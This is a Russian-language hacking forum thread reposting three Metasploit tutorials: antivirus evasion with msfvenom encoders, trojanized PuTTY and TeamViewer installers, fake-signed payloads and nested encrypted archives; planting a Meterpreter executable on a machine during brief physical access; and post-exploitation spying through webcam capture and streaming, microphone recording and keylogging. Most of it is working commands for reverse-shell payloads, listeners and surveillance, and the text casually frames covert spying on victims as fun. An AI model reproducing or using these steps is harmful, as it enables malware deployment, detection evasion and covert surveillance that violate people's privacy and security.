Основы Metasploit для хакеров: обход антивируса Windows (AV)

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, мои начинающие кибервоины!

В этой серии мы рассмотрим использование самого популярного в мире хакерского фреймворка — Metasploit. По мере роста популярности Metasploit ведущие разработчики антивирусов нашли способы обнаружения и удаления вредоносных программ, основанных на Metasploit, что значительно усложнило эксплуатацию этих систем с помощью Metasploit.

В этом уроке я хочу показать вам несколько способов обхода антивирусной защиты при использовании Metasploit, что позволит сделать ваш взлом/пентест более эффективным и успешным.

Как работает антивирус или EDR?

Прежде чем создавать загрузчик или пытаться обойти защиту, важно понимать, как антивирусное (AV) и EDR (Endpoint Detection and Response) программное обеспечение определяет, является ли программа вредоносной.

1. Обнаружение на основе сигнатур

Каждый файл можно обработать с помощью хеш-функции, например, SHA-256, для создания уникальной сигнатуры (также называемой отпечатком пальца). Антивирусное программное обеспечение хранит базу данных сигнатур известных вредоносных файлов.

При сканировании нового файла антивирус проверяет наличие его сигнатуры в этом списке. Если она совпадает, файл помечается или блокируется. Если нет, он может быть разрешён.

Этот метод быстрый, но не надёжный. Изменение даже одного байта в файле приведёт к совершенно иному хэшу. Это означает, что злоумышленники могут легко модифицировать вредоносное ПО, чтобы избежать обнаружения этим методом.

Кроме того, этот метод не помогает против новых угроз, сигнатуры которых еще не известны.

Пример: если у Mimikatz есть известный хэш SHA-256 и вы загружаете файл с этим же хешем, большинство антивирусных продуктов сразу же заблокируют его.



1-mimicatz-AV-1024x293.jpg



2. Статический анализ

Статический анализ подразумевает сканирование содержимого файла без его запуска. Антивирусные инструменты ищут подозрительные шаблоны, такие как определённые строки текста или кода, которые обычно используются во вредоносных программах.

Например, если файл содержит слово «mimikatz», некоторые антивирусные инструменты отметят его как подозрительный или опасный.



2-Scan-File-Mimicatz-1024x425.jpg



Существуют такие инструменты, как DefenderCheck, которые позволяют увидеть, какие строки в файле помечены Защитником Windows.

Правила YARA также используются в статическом анализе. Эти правила определяют закономерности, которые следует искать в файлах. Например, правило YARA может искать определённый комментарий в коде, например:

// *** Бенджамин ДЕЛЬПИ `gentilkiwi` ( benjamin@gentilkiwi.com )

Если этот шаблон найден, файл может быть помечен как версия Mimikatz. Если шаблон отсутствует, файл не помечается.

Таким образом, статический анализ эффективен при обнаружении известных угроз путем поиска знакомого кода или ключевых слов, даже если файл ранее не встречался.

3. Эвристический и поведенческий анализ

Этот метод фокусируется на том, что программа пытается сделать, а не на том, как она выглядит. Идея заключается в обнаружении подозрительного или вредоносного поведения.

Антивирусное ПО часто запускает программу в «песочнице». Песочница — это безопасная изолированная среда, в которой файл может быть запущен без ущерба для системы.

Во время работы файла антивирус отслеживает его действия. Если программа начинает выполнять действия, характерные для вредоносного ПО, например, обращаться к конфиденциальным файлам, создавать процессы или внедрять код в другие программы, она может быть помечена как опасная.

Такой подход полезен для обнаружения новых или модифицированных вредоносных программ, которые не поддаются обнаружению с помощью сигнатурного или статического анализа.

4. Обнаружение сети

Наконец, некоторые решения по безопасности могут отслеживать соединения, устанавливаемые устройством, и блокировать угрозы на основе определенных показателей.

Например, блокировка может быть принята, если программа инициирует соединение с IP-адресом, известным как связанный с вредоносными серверами. Это повышает безопасность, предотвращая взаимодействие вредоносного ПО с опасными серверами.

Методы уклонения

Большинство современных антивирусных программ, особенно хостовых, активно используют сигнатурное обнаружение . Это означает, что они сканируют файлы и процессы, используя базу данных известных «сигнатур» — уникальных шаблонов, идентифицирующих фрагменты вредоносного кода. Обнаружив совпадение, антивирус обычно немедленно реагирует на него, помещая файл в карантин и блокируя его запуск.

Как же избежать подобного обнаружения? Один из первых шагов — замаскироваться. Простого кодирования полезных данных в разных форматах или многократного их обфускации уже недостаточно. Антивирусные движки стали умнее, и многие из них распознают эти методы, особенно при использовании по отдельности.

Кроме того, простое открытие канала связи между злоумышленником и системой-жертвой может вызвать оповещения от систем обнаружения и предотвращения вторжений (IDS/IPS). Эти инструменты отслеживают сетевой трафик и могут отмечать или блокировать подозрительные соединения.

1. Зашифрованное общение с Meterpreter

С Metasploit Framework 6 (MSF6) злоумышленники получают более мощные возможности. С помощью msfconsole теперь можно создавать туннели с шифрованием AES, которые направляют трафик Meterpreter обратно в систему злоумышленника. Такое шифрование защищает соединение от обнаружения сетевыми системами обнаружения вторжений (IDS/IPS), поскольку содержимое трафика скрыто.

Тем не менее, в некоторых сетях используются строгие правила брандмауэра, которые могут блокировать исходящий трафик на основе IP-адресов источника или протоколов. В таких случаях злоумышленники часто ищут сервисы, которые уже разрешены через брандмауэр. Известный пример — взлом Equifax в 2017 году , когда злоумышленники воспользовались уязвимостью в Apache Struts, чтобы получить доступ к конфиденциальным серверам. Затем они применили DNS-эксфильтрацию — скрытый метод отправки данных через DNS-запросы — для незаметного перемещения украденных данных в течение нескольких месяцев.

2. Полезные нагрузки и обнаружение на основе файлов

Даже если зашифрованный трафик проходит, существует ещё одна серьёзная проблема: антивирусное обнаружение на уровне файлов . Прежде чем вредоносная нагрузка будет выполнена и загружена в память, она должна существовать в виде файла, пусть даже недолго. Этот файл можно отсканировать, получить цифровой отпечаток и заблокировать, если он соответствует чему-либо в базе данных антивирусных сигнатур.

Производители антивирусных программ также постоянно отслеживают такие инструменты, как Metasploit. Многие из стандартных полезных нагрузок, создаваемых такими инструментами, как msfvenom, уже известны и блокируются большинством антивирусных программ. Это означает, что использование этих полезных нагрузок в исходном виде часто приводит к мгновенному обнаружению.

3. Расширенные кодеры полезной нагрузки (x64)

При попытке обойти механизмы статического анализа и обнаружения использование кодировщика может добавить ценный уровень обфускации вашей полезной нагрузки. Ниже представлено несколько известных кодировщиков x64, доступных в msfvenom, каждый из которых использует уникальный метод, затрудняющий обратную разработку или обнаружение на основе сигнатур.

1. x64/xor_context

Этот кодер применяет контекстно-зависимое шифрование XOR, динамически изменяя ключ XOR во время выполнения. Такое поведение делает полезную нагрузку более устойчивой к традиционным инструментам статического анализа, основанным на сопоставлении с образцом или распознавании сигнатур.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ВАШ_IP LPORT=ВАШ_ПОРТ -e x64/xor_context -o payload.exe


2. x64/xor_dynamic

При использовании xor_dynamic ключ XOR не просто предопределен, а генерируется «на лету» во время выполнения. Такое динамическое поведение значительно затрудняет определение надежной сигнатуры статическими движками обнаружения, обеспечивая более надежную защиту, чем статические методы XOR.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ВАШ_IP LPORT=ВАШ_ПОРТ -e x64/xor_dynamic -o payload.exe


3. x64/zutto_dekiru

Кодер zutto_dekiru выводит обфускацию на новый уровень. Он использует передовые методы, включая шифрование и структурные преобразования полезной нагрузки. Это значительно увеличивает время обратной разработки и обеспечивает надёжную защиту как от статического, так и от динамического анализа.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe


4. Использование исполняемых шаблонов с msfvenom

К счастью, msfvenom предоставляет полезную функцию: шаблоны исполняемых файлов . Вместо того, чтобы создавать совершенно новый и подозрительно выглядящий файл, вы можете взять легитимный исполняемый файл — например, установщик или утилиту — и внедрить в него свою полезную нагрузку. Это создаёт так называемый исполняемый файл с бэкдором .

Шелл-код скрыт внутри реальной работающей программы, что затрудняет его обнаружение инструментами статического анализа. Комбинируя различные методы кодирования, форматы шелл-кода и реальные программы, вы увеличиваете шансы обойти антивирусные проверки.

Вот что дает вам этот подход:

  1. Внешний файл выглядит легитимным (как обычный установщик или приложение)
  2. Вредоносный код встроен, зашифрован или запутан
  3. Антивирусу сложнее обнаружить его во время базового сканирования.
Ниже приведен пример того, как msfvenom можно использовать для внедрения полезной нагрузки в легитимный исполняемый файл:

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.15.148 LPORT=8080 -k -x TeamViewerx32.exe -e x86/shikata_ga_nai -a x86 –platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 70

В этой команде:

-p указывает полезную нагрузку

-x — исполняемый файл шаблона, который вы хотите использовать

-f exe задает формат вывода

-o задает имя нового файла

-i — это количество итераций для дальнейшего уклонения от обнаружения

-e — это кодировщик, используемый для сокрытия полезной нагрузки

Результатом является исполняемый файл, который по-прежнему работает так, как и ожидалось, но также доставляет полезную нагрузку при запуске.

Как видите, Defender не может найти в нем вредоносное ПО.



3-Flagged-File-1024x245.jpg



4-Windows-Defender-Undected-1024x312.jpg



В большинстве случаев, когда цель запускает исполняемый файл с бэкдором, ничего не происходит, что в некоторых случаях может вызвать подозрения. Чтобы повысить наши шансы, нам нужно инициировать продолжение обычного выполнения запущенного приложения, одновременно извлекая полезную нагрузку в отдельном потоке от основного приложения. Мы делаем это с помощью флага -k , как показано выше. Однако даже при включенном флаге -k цель заметит запущенный бэкдор только в том случае, если запустит шаблон исполняемого файла с бэкдором из среды CLI. В этом случае появится отдельное окно с полезной нагрузкой, которое не закроется, пока мы не завершим взаимодействие с сеансом полезной нагрузки на цели.

В этом примере мы будем использовать PuTTY, распространённый SSH-клиент для Windows. Внедряя нашу полезную нагрузку в PuTTY, мы увеличиваем шансы обойти антивирусные программы, поскольку файл выглядит и ведёт себя как обычное приложение.

Шаг 1: Загрузите PuTTY

Сначала скачайте исполняемый файл PuTTY. В Linux это можно сделать с помощью следующей команды wget:

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Это позволит загрузить 32-битную версию PuTTY.

Шаг 2: Внедрение полезной нагрузки с помощью msfvenom

Далее мы используем msfvenom для внедрения обратной оболочки Meterpreter в исполняемый файл PuTTY:​

msfvenom -a x86 –platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=10.10.15.148 lport=443 -e x86/shikata_ga_nai -i 43 -b "\x00" -f exe -o puttyX.exe

Давайте разберем, что делает эта команда:

-a x86 устанавливает архитектуру на 32-бит (для соответствия оригинальному двоичному файлу PuTTY)

–платформа windows указывает целевую операционную систему

-k обеспечивает сохранение исходной функциональности PuTTY после внедрения полезной нагрузки

-b «\x00» позволяет избежать нулевых байтов в полезной нагрузке (которые могут прервать выполнение)

Результатом является модифицированный исполняемый файл PuTTY ( puttyX.exe ), который по-прежнему работает нормально, но при запуске открывает бэкдор.

Шаг 3: Настройка прослушивателя в Metasploit

Поскольку это обратный шелл , полезная нагрузка попытается подключиться обратно к атакующей машине. Нам нужно настроить прослушиватель с помощью обработчика эксплойтов Metasploit .

Откройте Metasploit и выполните следующие команды:

использовать эксплойт/мульти/обработчик

установить полезную нагрузку windows/meterpreter/reverse_tcp

установить LHOST 10.10.15.148

установить LPORT 443

эксплуатировать


После запуска обработчика он будет ожидать подключения. Как только целевой объект запустит puttyX.exe , откроется сеанс Meterpreter, предоставляя вам контроль над системой.



puttyX-Meterpreter.jpg



meterpreter-reverse-tcp-1024x221.jpg



Инструменты уклонения

Хотя пользовательское кодирование полезной нагрузки — один из способов обхода механизмов безопасности, существуют также общедоступные инструменты, которые пытаются взять на себя всю сложную работу. Ниже приведено несколько примеров, которые стоит изучить в демонстрационных и учебных целях.

1. Пугало

ScareCrow когда-то был надёжным инструментом для доставки полезной нагрузки и уклонения от атак, но он переживал и лучшие времена. В настоящее время сложно эффективно использовать все его функции. Судя по проблемам на GitHub, большая часть нестабильности, по-видимому, связана с устаревшими реализациями SSL. Проект не обновлялся годами, что ограничивает его перспективность для серьёзного использования. Тем не менее, он всё ещё полезен для демонстрационных целей или базовых сценариев уклонения от атак.

Для начала вам потребуется установить язык программирования Go и вручную скомпилировать ScareCrow.

Основной поток использования:

Сначала сгенерируйте полезную нагрузку с помощью msfvenom .



Playload-msfvenom-1024x141.jpg



Затем подпишите полученный исполняемый файл поддельным сертификатом Microsoft с помощью ScareCrow.



ScareCrow-Microsoft-certificate-1024x569.jpg



Запустите его на целевой системе, и если все работает правильно, вы увидите обратное соединение с вашим прослушивателем.



Run-ScareCrow-on-target-system-1024x408.jpg



Несмотря на свои сегодняшние ограничения, ScareCrow по-прежнему может помочь вам понять, как работают подмена подписей и злоупотребление сертификатами при обходе системы безопасности.

2. PyInMemoryPE

PyInMemoryPE — это инструмент на основе Python, который запускает PE-файлы непосредственно в памяти, избегая операций записи на диск и потенциально оставаясь незамеченным некоторыми антивирусами. Он скомпилирован для работы в Windows и по-прежнему эффективен против некоторых антивирусов, однако имейте в виду: как только инструмент становится общедоступным, его анализируют, создают сигнатуры, и уровень обнаружения быстро растёт.

Рабочий процесс:

Сначала сгенерируйте полезную нагрузку



Generate-Payload-1024x165.jpg



Загрузите PyInMemoryPE для Windows.



Download-PyInMemoryPE-for-Windows-1024x399.jpg



Настройте простой http.server python3 -m для обслуживания исполняемого файла.



python3-m-http.server-1-1024x357.jpg



Из целевой системы Windows получите доступ к полезной нагрузке через cmd, чтобы выполнить ее в памяти.



payload-execute-memory-1024x95.jpg

И верните связь.



Meterpreter-Open-Session-1024x229.jpg



Скрытие полезных данных с помощью архивов и упаковщиков

Когда речь идёт об обходе обнаружения антивирусами, одним из самых простых и эффективных приёмов является сжатие с шифрованием. Архивирование полезных данных в защищённые паролем файлы .zip или .rar может обойти многие антивирусные решения. Хотя большинство современных сканеров помечают такие файлы как «не подлежащие сканированию», а не как явно вредоносные, они не выдают оповещений высокого уровня. Администратор должен провести ручное расследование, и многие не станут этим заниматься, пока что-то не заденет его.

Шаг 1: Создание полезной нагрузки

Начнем со стандартной полезной нагрузки обратного шелла Meterpreter msfvenom, закодированной пять раз с помощью shikata_ga_nai для повышения запутывания.

msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.15.148 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 –platform windows -o ~/test.js -i 5



msfvenom-Meterpreter-reverse-shell-payload-1024x273.jpg



После генерации вы получите классический шелл-код. Далее вам нужно будет его дополнительно обфусцировать.

Шаг 3: Двойная обфускация архива

Теперь мы дважды заархивируем полезную нагрузку , добавляя пароль и удаляя расширения файлов на каждом этапе, чтобы запутать как антивирусную, так и случайную проверку.

Установить утилиту RAR

wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz

tar -xzvf rarlinux-x64-612.tar.gz && cd rar

Первый архив (защищен паролем)

rar a test.rar -p test.js

Вам будет предложено ввести пароль (используйте надёжный; для тестирования подойдёт даже что-то вроде «infected123»). Затем переименуйте архив, чтобы удалить расширение:

mv test.rar тест

Второй архив (вложенный)

rar a test2.rar -p test

mv test2.rar test2


Теперь у нас есть test2 — дважды заархивированная, защищённая паролем полезная нагрузка без видимого расширения файла. Антивирусы обычно не справляются с этим, если только не распаковывают оба уровня и не угадывают тип файла.

Шаг 4: Сканирование зашифрованного архива



Scan-the-Obfuscated-Archive-1024x198.jpg



Ни одного обнаружения!

Этот метод — эффективный способ перемещения данных в целевые системы и из них (например, по каналам управления или каналам эвакуации), но он также палка о двух концах. Многие «синие» команды отслеживают зашифрованные или несканируемые архивы, особенно если расширения удалены. Используйте его с осторожностью.

Заметка о паковщиках

Упаковщики выполняют аналогичную функцию, но работают на уровне двоичных файлов. Они оборачивают исполняемый файл в заглушку для распаковки, которая извлекает и выполняет исходную полезную нагрузку в памяти. Это не только сжимает двоичный файл, но и значительно затрудняет статический анализ.

Популярные упаковщики включают в себя:

  • UPX
  • МПРЕСС
  • Защитник Энигмы
  • Фемида
  • ExeStealth
  • Морфий
Вы можете использовать эти инструменты для добавления дополнительного уровня обфускации к вашим .exe-файлам до или после кодирования с помощью msfvenom.

Чтобы подробнее узнать о том, как антивирусы обрабатывают упакованные исполняемые файлы, ознакомьтесь с проектом PolyPack . В нём рассматривается, как различные методы упаковки влияют на обнаружение вирусов в различных антивирусных системах.

Заключительные мысли

Обход антивирусных программ Windows — обширная, постоянно развивающаяся и высокореактивная область. То, что работает сегодня, завтра может оказаться неэффективным. Microsoft и ведущие поставщики антивирусных программ активно отслеживают новые методы, регулярно обновляют их и выпускают исправления.

Если вы серьёзно настроены улучшить свои навыки обхода защиты, подумайте о переходе на C#. Многие современные инструменты Red Team и пользовательские загрузчики написаны на нём, что обеспечивает больший контроль над поведением ваших полезных нагрузок и их способностью к обходу. Изучение разработки на C# может открыть путь к более продвинутым тактикам, от ручного внедрения PE до отсоединения API и многого другого.

Уклонение — это не игра по принципу «один размер для всех», это игра в кошки-мышки, где ключевыми факторами являются креативность и умение приспосабливаться.
 
Добро пожаловать обратно, мои начинающие кибервоины!

Многое из того, что мы сделали в этой серии «Основы Metasploit», позволяет нам эксплуатировать и контролировать удалённую систему в любой точке планеты Земля (или, по крайней мере, любую машину, подключенную к Интернету на планете Земля). В некоторых случаях нам может понадобиться контролировать систему, к которой у нас есть временный физический доступ. Это может быть машина в нашем офисе, в нашем доме, общежитии или другом доступном месте. Уверен, вы можете представить себе множество ситуаций, в которых это может быть правдой, например, когда государственный шпион получает физический доступ к конфиденциальной компьютерной системе всего на мгновение. Или, в более обыденном случае, вы можете превратить этот безобидный на вид ноутбук в «камеру-няню», пока вы в городе. В каждом случае на самом деле очень просто и легко внедрить полезную нагрузку meterpreter в систему, имея доступ примерно за 30 секунд и флеш-накопитель.

6a4a49_9d5a7a01bce047eb83360bbdaa0fc111~mv2.png


Многие из вас писали мне, ссылаясь на хакерские приключения Кевина Митника, описанные в его многочисленных книгах. В некоторых случаях Митник с помощью социальной инженерии получает физический доступ к компьютерным системам компании или учреждения и таким образом получает контроль над компьютером. Взлом, который я собираюсь здесь продемонстрировать, очень похож. Кроме того, вы, возможно, помните, в сериале «Мистер Робот» Анджела получает кратковременный физический доступ к компьютерной системе своего начальника и точно так же может узнать его пароль с помощью резиновой уточки и мимикаца.

В этом уроке мы сделаем то же самое. Мы создадим исполняемый файл со встроенным meterpreter, и всё, что нам нужно сделать для управления системой, — это скопировать исполняемый файл в целевую систему и нажать кнопку!

Шаг №1: Запустите Kali и откройте Metasploit

Первый шаг, конечно, — запустить систему Kali и запустить Metasploit.

kali > msfconsole

6a4a49_697ec25701f44a0286b77168344cd532~mv2.png


Шаг №2: создание исполняемого файла с помощью msfvenom

Теперь нам нужно создать исполняемый файл для Windows и встроить в него Meterpreter. Это можно сделать с помощью msfvenom (подробнее о msfvenom можно узнать здесь ).

msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4444 -f exe >вредоносное ПО

6a4a49_78fba7d9eb984621b5055e1014c6378a~mv2.png


В данном случае я создал exe-файл и назвал его «вредоносным ПО». Вы можете назвать свой файл как-нибудь менее зловеще и более скрытно.

Шаг №3 Скопируйте exe-файл на флеш-накопитель

Затем скопируйте файл malware.exe на флеш-накопитель. Для этого используйте команду cp в Linux или перетащите файл на флеш-накопитель через проводник.

Шаг №4 Запустите Handler на вашем Kali

Прежде чем передать исполняемый файл целевой системе, необходимо запустить обработчик в Metasploit. Это просто TCP-слушатель, ожидающий обратного вызова и подключения от полезной нагрузки.

msf > использовать multi/handler

msf > установить полезную нагрузку windows/meterpreter/reverse_tcp

msf > установить LHOST 192.168.1.103

msf > установить LPORT 4444

msf> эксплойт


6a4a49_bcf559af18e9464b9f0451a57102fa50~mv2.png


Теперь этот обработчик будет ждать, пока вредоносная программа со встроенной полезной нагрузкой снова подключится к нему через порт 4444.

Шаг №5 Скопируйте exe-файл в целевую систему

Затем скопируйте вредоносное ПО с флеш-накопителя на целевую систему. Здесь я скопировал его на рабочий стол для демонстрации, но для большей скрытности вам, вероятно, стоит скопировать его в папку, которую жертва вряд ли откроет и увидит.

6a4a49_bff43ab8e40b4aae92fe0ac07fea5b39~mv2.png


Шаг №5. Запустите Exe.

Далее, поскольку это исполняемый файл, вы можете просто дважды щёлкнуть по нему, чтобы запустить его. Это должно одновременно запустить meterpreter. В идеале, вам следует запустить его от имени администратора, чтобы у meterpreter были права системного администратора. Для этого щёлкните правой кнопкой мыши и выберите «Запуск от имени администратора».

6a4a49_c25c8abab0eb4c278814ff95c6a71115~mv2.png


Шаг №6 Станьте владельцем системы!

Как только вредоносная программа запустится на целевой системе, она подключится к нашей системе Kali и откроет на ней meterpreter! Теперь эта система принадлежит вам!

6a4a49_f58f834bdb494d738d703e5e1ec1f5a3~mv2.png


Шаг №7: Веселье после эксплуатации!

Теперь, когда система у вас, вы можете делать практически всё, что захотите. Для начала давайте посмотрим, какие процессы запущены.

meterpreter > ps

6a4a49_e20e39d64c03440ebdbb921292522c1a~mv2.png
Как видите, процесс malware.exe запущен на целевой системе. Если бы жертва запустила диспетчер задач Windows, она бы увидела то же самое.

Если бы мы хотели использовать эту систему в качестве камеры-няни или для слежки за объектом, мы могли бы включить веб-камеру. Сначала нужно проверить, есть ли веб-камера.

meterpreter > webcam_list

6a4a49_89eb0a5b038f49209220b33571d9d3a1~mv2.png


Если доступна веб-камера, мы можем сделать снимок, введя:

meterpreter> webcam_snap

Снимок сохраняется в нашем каталоге /root. Чтобы просмотреть снимок, нужно просто открыть браузер и перейти к файлу.

6a4a49_b243b6b76aad4079bfc86f2bb5fcc412~mv2.png


Теперь, когда у нас есть целевая система, мы можем делать практически всё, что захотим! Больше идей по пост-эксплуатации вы найдёте в «Основах Metasploit», часть 15 , а также в моём списке команд и скриптов meterpreter , которые можно использовать на целевой системе.

Заключение

Если вы можете получить физический доступ практически к любой системе, игра окончена ! Имея физический доступ всего лишь около 30 секунд, вы можете внедрить в систему полезную нагрузку Meterpreter и делать с ней практически всё, что захотите, включая управление микрофоном, веб-камерой и даже кейлоггер. Надеюсь, это демонстрирует один из самых важных, но недооценённых принципов информационной безопасности — физическую безопасность.
 
Добро пожаловать обратно, мои начинающие хакеры!

По мере изучения этой серии статей по основам Metasploit мы использовали многочисленные методы для эксплуатации вашей целевой системы, в том числе:

1. Эксплойты SMB ( например, EternalBlue и MS08_067);

2. Формат файла (ms14-0440_sandworm, office_word_hta );

3. Браузерные эксплойты (autopwn, Abobe Flash и многие другие);

4. Набор инструментов социальной инженерии (SET);

Пользовательские полезные нагрузки с msfvenom ;

и многие другие.

6a4a49_508d90fa581a42999339c1ad0cf69cc4~mv2.jpg


Эксплуатация цели — это только начало веселья! Получив контроль над системой, мы переходим к фазе пост-эксплуатации, и вот тут-то мы и можем сеять хаос! В терминах Metasploit модули, предназначенные для пост-эксплуатации, называются просто « пост» .

В этом уроке мы рассмотрим несколько интересных вещей, которые можно сделать в системе после успешного ее взлома, в том числе:

1. Проверка времени простоя

2. Включение и съемка фотографий с веб-камеры, а также потоковая трансляция с веб-камеры

3. Включение системного микрофона для прослушивания

4. Получите хеши паролей.

5. Используйте Mimikatz для сбора большого количества информации из целевой системы.

Метрпредер

При эксплуатации уязвимости с помощью Metasploit у нас появляется гораздо больше возможностей для последующей эксплуатации, если использовать полезную нагрузку Meterpreter. Meterpreter — это гораздо больше, чем просто оболочка командной строки. Он обладает дополнительными функциями, которые не может воспроизвести ни одна простая оболочка.

Meterpreter — это продвинутая полезная нагрузка, которая использует внедрение DLL для работы исключительно в памяти (не оставляя следов на жёстком диске). Эта специальная полезная нагрузка содержит большой набор встроенных команд и скриптов. Полный обзор этих команд и скриптов см. в следующих публикациях на Hackers-Arise.

Полный список скриптов Meterpreter

Полный список команд Meterpreter

Не все команды и скрипты будут работать с Meterpreter в любой операционной системе. Многие из них предназначены только для использования в системах Windows.

Типы полезной нагрузки Meterpreter

Meterpreter — это не просто единая полезная нагрузка. Существует множество полезных нагрузок Meterpreter, обычно по одной для каждого типа операционной системы или целевой платформы. Кроме того, вы можете выбрать Meterpreter, подключающиеся по чистому TCP-соединению, HTTP или HTTPS. Во многих случаях, чтобы обойти ограничения брандмауэра на исходящий трафик, необходимо использовать Meterpreter по HTTP или HTTPS, при этом соединение будет выглядеть как обычный исходящий интернет-трафик и, скорее всего, будет пропущено.

Чтобы найти эти Meterpreter, можно воспользоваться функцией поиска в Metasploit, отфильтровав данные по типу модуля (type:payload), платформе (platform:windows) и содержащему ключевое слово meterpreter. После нажатия Enter мы увидим результаты ниже.

msf > тип поиска: полезная нагрузка платформа: windows meterpreter

6a4a49_5d64ec2aa30f495b895cd9ab1115e149~mv2.png


Как видите выше, существует бесчисленное множество полезных нагрузок meterpreter. Я выделил три, которые работают с 64-разрядными версиями Windows и подключаются по чистому TCP-соединению, HTTP (порт 80) и HTTPS (порт 443).

Шаг №1. Изучите модули постов

После того, как мы проэксплуатируем систему, мы можем начать использовать команды и модули постэксплуатации. Эти модули постэксплуатации можно найти, снова воспользовавшись функцией поиска и отфильтровав модуль по типу «post».

msf > тип поиска: сообщение

6a4a49_1f7dc540aeed4bcab6d3eb6bb8809f7b~mv2.png


Если говорить более конкретно, мы можем отфильтровать те из них, которые могут использоваться на скомпрометированной системе Windows.

msf> тип поиска: сообщение платформа: windows

6a4a49_e31f076fbee54b13ad582301dc7dd310~mv2.png


Помимо этих модулей пост-эксплуатации, meterpreter позволяет использовать railgun — функцию пост-эксплуатации, которая позволяет управлять Windows API целевой машины. Далее в этой серии я расскажу ещё об одном руководстве по railgun — «Основы Metasploit».

Теперь, когда мы немного познакомили вас с полезной нагрузкой meterpreter, давайте рассмотрим некоторые вещи, которые мы можем с ней сделать.

Здесь мы предположим, что мы эксплуатируем систему Windows 7 с EternalBlue.

6a4a49_96f7af525c184eb796eb736a883b1559~mv2.png
6a4a49_5c33a8ce49b2480493072fbb8f8f1021~mv2.png
6a4a49_51c207f958b046e198e469e240dbcaff~mv2.png


Шаг №2 Время простоя

Часто одним из первых действий, которое мы хотим сделать, является определение времени бездействия системы. Это даст нам представление о том, работает ли кто-нибудь в данный момент за компьютером.

meterpreter > idletim

6a4a49_c1799ff7da114d3ca579de3f61727de4~mv2.png


Как видите, пользователь бездействовал в этой системе всего 7 минут 44 секунды. Это, вероятно, означает, что он где-то поблизости. При использовании стандартного meterpreter вы практически невидимы для пользователя, поэтому не стоит беспокоиться об обнаружении (VNC-полезные данные требуют использования мыши, и это, очевидно, будет замечено пользователем в его системе).

Шаг №2. Доступ к веб-камере

После взлома системы с помощью EternalBlue мы получаем права системного администратора (GUID=500), что означает полный доступ к компьютеру. Это значит, что мы можем делать практически всё, что захотим.

Предположим, мы хотим периодически делать снимки с веб-камеры пользователя. Первым шагом будет использование команды meterpreter webcam_list для определения наличия веб-камер в системе.

meterpreter > webcam_list

Как мы видим, в этой системе всего одна веб-камера «HP Truevision HD».

6a4a49_89eb0a5b038f49209220b33571d9d3a1~mv2.png


Далее нам просто нужно использовать другую команду meterpreter, webcam_snap , чтобы делать снимки с веб-камеры взломанной системы.

meterpreter > webcam_snap

Если в системе несколько веб-камер, мы можем указать, с какой из них нужно захватить видео, используя ключ -i, а затем номер веб-камеры. Например, если мы хотим захватить видео с веб-камеры №2, мы должны ввести:

meterpreter > webcam_snap -i 2

После создания снимка Meterpreter сохраняет изображение в файле со случайным именем, заканчивающимся на .jpeg. Если злоумышленник окажется за своим компьютером, вы получите его фотографию. Теперь вам нужно открыть эту фотографию в графическом или фоторедакторе вашей атакующей системы.

Давайте откроем этот .jpeg и посмотрим, кто находится в этой системе.

6a4a49_0efa29d8021f415b9de5207189de66dc~mv2.png


Похоже, вам очень повезло!

А еще лучше — мы можем заставить веб-камеру транслировать нам видео.

meterpreter > webcam_stream

6a4a49_c319ff6bef3542b3b92780d87bd95326~mv2.png


После выполнения команды Meterpreter откроет ваш веб-браузер по умолчанию и будет транслировать видео с веб-камеры цели на вашу систему.

6a4a49_b243b6b76aad4079bfc86f2bb5fcc412~mv2.png


Шаг №3: Установите жучок на их компьютер (послушайте микрофон)

Помимо создания снимков с веб-камеры, вы также можете включить встроенный микрофон системы и прослушивать разговоры в зоне его досягаемости. В Meterpreter для этого также есть встроенная команда record_mic .

meterpreter > record_mic

6a4a49_439e465d29724e8ab109173f4843afa3~mv2.png


Как вы можете видеть, когда мы запускаем эту команду, она записывает окружающие звуки возле компьютера и помещает их в файл .
wav в каталоге пользователя root со случайным именем файла.

Эта команда meterpreter имеет множество полезных опций. Например:

-d : количество секунд для записи (по умолчанию = 1)

-f : Путь к wav-файлу.

-p : Автоматически воспроизводить захваченный звук, по умолчанию «true».

Теперь мы можем создать полезную команду, которая записывает 10 секунд звука, создает файл .wav с именем spyaudio.wav и автоматически воспроизводит звук через динамики вашей системы.

meterpreter > record_mic -d 10 -f spyaudio.wav -p true

6a4a49_3569d0ad8330401aafef03c204bf9007~mv2.png


Шаг №4

Хотя meterpreter не так эффективен, как аппаратный кейлоггер, он может установить в системе программный кейлоггер для записи всех нажатий клавиш в одном приложении. Ключевым моментом является то, что мы можем фиксировать нажатия клавиш только одного процесса или приложения одновременно.

Для этого нам необходимо переместить (мигрировать) meterpreter в процесс, где, как мы ожидаем, целевой объект будет вводить данные. Это может быть веб-браузер, MS Word, Outlook и т. д.

Для начала нам нужно узнать идентификатор процесса приложения. В оболочке meterpreter можно просто ввести команду ps . Это выведет список всех запущенных процессов, подобно тому, как команда ps работает в Linux.

meterpreter > ps

6a4a49_e20e39d64c03440ebdbb921292522c1a~mv2.png


После того как вы определили приложение, в котором вы хотите разместить свой кейлоггер, вам нужно перенести meterpreter в этот процесс.

meterpreter > миграция 2308

6a4a49_1c9f73100c934069b8c8d152d151a22c~mv2.png


Как вы видите, мы перешли на процесс 2308 (у вас он, скорее всего, будет другим), в данном случае это MS Word.

Далее запускаем кейлоггер командой keyscan_start .

meterpreter > keyscan_start

6a4a49_ae1e8b3e74d844aab0aa0d5073a9e76f~mv2.png


Теперь кейлоггер запущен и помещает все нажатия клавиш из этого приложения в буфер (нажатия клавиш включают все символы, включая возврат, возврат на одну позицию и т. д.).

Когда мы хотим восстановить нажатия клавиш, мы просто используем команду keyscan_dump .

meterpreter >keyscan_dump

